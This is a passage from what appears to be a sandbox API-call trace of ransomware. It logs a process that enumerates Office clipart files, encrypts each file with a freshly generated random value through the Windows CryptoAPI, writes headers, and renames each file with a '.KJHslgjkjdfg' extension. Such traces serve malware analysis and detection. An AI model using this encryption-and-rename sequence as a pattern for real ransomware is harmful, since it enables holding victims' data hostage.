lpOverlapped=0x0) returned 1 [0202.109] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.109] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.109] GetProcessHeap () returned 0x2ef0000 [0202.109] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.109] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.109] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.109] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.109] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.109] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.109] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.109] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.110] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.110] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.110] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.110] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x674, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x674, lpOverlapped=0x0) returned 1 [0202.110] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x680, dwBufLen=0x680 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x680) returned 1 [0202.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.110] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x680, lpOverlapped=0x0) returned 1 [0202.110] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.110] SetEndOfFile (hFile=0x130) returned 1 [0202.113] GetProcessHeap () returned 0x2ef0000 [0202.113] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.113] GetProcessHeap () returned 0x2ef0000 [0202.113] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.113] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.kjhslgjkjdfg")) returned 1 [0202.114] CloseHandle (hObject=0x130) returned 1 [0202.114] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x132c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152708.WMF", cAlternateFileName="")) returned 1 [0202.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.115] GetProcessHeap () returned 0x2ef0000 [0202.115] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.115] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.116] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.117] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.118] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.118] GetProcessHeap () returned 0x2ef0000 [0202.118] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.118] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.118] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.118] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.118] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.118] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.118] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.118] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.118] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.118] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.119] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x132c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x132c, lpOverlapped=0x0) returned 1 [0202.121] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1330, dwBufLen=0x1330 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1330) returned 1 [0202.121] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.121] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1330, lpOverlapped=0x0) returned 1 [0202.121] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.121] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.121] SetEndOfFile (hFile=0x130) returned 1 [0202.125] GetProcessHeap () returned 0x2ef0000 [0202.125] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.125] GetProcessHeap () returned 0x2ef0000 [0202.125] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.kjhslgjkjdfg")) returned 1 [0202.126] CloseHandle (hObject=0x130) returned 1 [0202.126] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152716.WMF", cAlternateFileName="")) returned 1 [0202.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.127] GetProcessHeap () returned 0x2ef0000 [0202.127] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.127] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.127] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.127] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0202.129] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.129] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.130] GetProcessHeap () returned 0x2ef0000 [0202.130] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.130] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.130] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.130] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.130] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.130] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.130] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.130] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.130] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.130] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.131] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x11e4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x11e4, lpOverlapped=0x0) returned 1 [0202.131] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x11f0, dwBufLen=0x11f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x11f0) returned 1 [0202.132] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.132] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x11f0, lpOverlapped=0x0) returned 1 [0202.132] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.132] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.132] SetEndOfFile (hFile=0x130) returned 1 [0202.133] GetProcessHeap () returned 0x2ef0000 [0202.133] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.133] GetProcessHeap () returned 0x2ef0000 [0202.133] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.133] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.kjhslgjkjdfg")) returned 1 [0202.134] CloseHandle (hObject=0x130) returned 1 [0202.135] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152722.WMF", cAlternateFileName="")) returned 1 [0202.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.136] GetProcessHeap () returned 0x2ef0000 [0202.136] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.136] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.136] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.139] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.139] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.139] GetProcessHeap () returned 0x2ef0000 [0202.139] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.139] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.139] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.139] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.139] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.139] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.139] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.139] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.139] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.140] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.140] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b6c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b6c, lpOverlapped=0x0) returned 1 [0202.141] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b70, dwBufLen=0x1b70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b70) returned 1 [0202.141] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.141] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b70, lpOverlapped=0x0) returned 1 [0202.141] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.141] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.141] SetEndOfFile (hFile=0x130) returned 1 [0202.147] GetProcessHeap () returned 0x2ef0000 [0202.147] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.147] GetProcessHeap () returned 0x2ef0000 [0202.147] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.147] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.kjhslgjkjdfg")) returned 1 [0202.149] CloseHandle (hObject=0x130) returned 1 [0202.149] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ec4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152876.WMF", cAlternateFileName="")) returned 1 [0202.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.150] GetProcessHeap () returned 0x2ef0000 [0202.150] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.150] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.150] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0202.153] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.153] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.153] GetProcessHeap () returned 0x2ef0000 [0202.153] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.153] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.153] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.153] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.153] WriteFile (in: 